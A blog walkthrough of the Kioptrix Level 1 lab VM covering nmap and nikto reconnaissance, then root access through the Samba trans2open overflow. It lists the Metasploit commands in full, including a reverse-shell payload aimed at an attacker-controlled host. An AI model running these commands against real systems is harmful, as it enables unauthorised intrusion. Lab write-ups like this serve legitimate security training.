Post

Kioptrix Level 1 Walkthrough

Walkthrough of Kioptrix Level 1 VM penetration test, covering reconnaissance, vulnerability identification, and exploitation via Samba trans2open overflow.

Kioptrix Level 1 Walkthrough

Kioptrix Level 1 — Walkthrough

Introduction

Kioptrix Level 1 is a beginner-friendly vulnerable machine on VulnHub designed for practicing penetration-testing fundamentals in a controlled lab environment. This walkthrough documents how I enumerated the host, identified the vulnerable service, and achieved root access through a practical exploitation path.

Quick summary

  • Objective: identify the exposed service and gain root access
  • Environment: local lab / VulnHub VM
  • Outcome: successful exploitation via the Samba trans2open vulnerability

Kioptrix Welcome Screen


Reconnaissance

Network discovery

Tools used: netdiscover, arp-scan, nmap, nikto, and msfconsole.

  • Target discovered at: 192.168.56.110.
  • MAC address: 08:00:27:39:c3:0d (VirtualBox).

Netdiscover Scan ARP Scan

Port scanning

Performed a full Nmap scan to enumerate services and identify the operating system and exposed network services:

1
nmap -sS -sV -O 192.168.56.110 -oN kioptrix.txt

Open ports (summary):

  • 22/tcp — OpenSSH 2.9p2 (protocol 1.99)
  • 80/tcp — Apache 1.3.20 (Red Hat Linux)
  • 111/tcp — rpcbind
  • 139/tcp — Samba (smbd)
  • 443/tcp — Apache/SSL
  • 32768/tcp — status

Nmap scan - overview


Vulnerability analysis

Web service enumeration

  • Apache 1.3.20 with mod_ssl/2.8.4 and OpenSSL/0.9.6b — all significantly out of date.
  • nikto flagged multiple issues:

    • Outdated components.
    • TRACE method enabled (possible XST).
    • Directory listings exposed.
    • Indicators of a PHP file manager/backdoor.

Port 80 observations Page source highlights

1
2
# Example nikto command used
nikto -h http://192.168.56.110

Samba service

  • Samba reported as 2.2.x.
  • This version is vulnerable to the trans2open buffer overflow (CVE-2003-0201), making it a high-priority target.

Exploitation

Metasploit approach (trans2open)

Used Metasploit to search and execute a Samba trans2open exploit:

1
2
3
4
5
6
7
8
msfconsole
search trans2open
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.110
set payload linux/x86/shell_reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run

Search trans2open module

Result: the exploit successfully opened reverse shells (observed sessions on ports 32773–32776) and provided a root shell.

Exploit options Hosts setup


Post-exploitation

After gaining a shell, verified root privileges and enumerated the system:

1
2
whoami      # => root
hostname    # => kioptrix.level1

Found a congratulations message in the system mail for root:

Locate mail

Captured the flag and evidence:

Flag captured


Key findings

Critical vulnerabilities

  • Samba trans2open overflow — decisive exploit vector.
  • Outdated software stack — Apache 1.3.20, OpenSSL 0.9.6b.
  • Weak service configuration — TRACE enabled, directory listings, and exposed backdoor-like files.

Attack chain

  1. Network discovery → identify target IP.
  2. Port scanning → enumerate services.
  3. Service enumeration → identify vulnerable Samba.
  4. Exploitation → execute trans2open via Metasploit.
  5. Reverse shell → root access.

Lessons learned

  • Regular patching and updates are critical — a single unpatched service can lead to full system compromise.
  • Legacy Samba versions are high-risk and have been exploited in the wild for years.
  • Comprehensive reconnaissance and automated tooling (Nmap, Nikto, Metasploit) speed up discovery and exploitation in CTF/lab environments.

Conclusion

Kioptrix Level 1 is an excellent introductory exercise because it shows how one vulnerable service can become the gateway to full system compromise. This walkthrough documented a Metasploit-based exploitation path and highlighted the importance of patching outdated services, maintaining good hardening practices, and approaching security testing with care and authorization.

Ethical note: Use these techniques only on systems you own or are authorized to test.


References & Resources

  • Kioptrix VM (VulnHub)
  • Samba trans2open (CVE-2003-0201)
  • Metasploit Framework
  • Nmap, Nikto
This post is licensed under CC BY 4.0 by the author.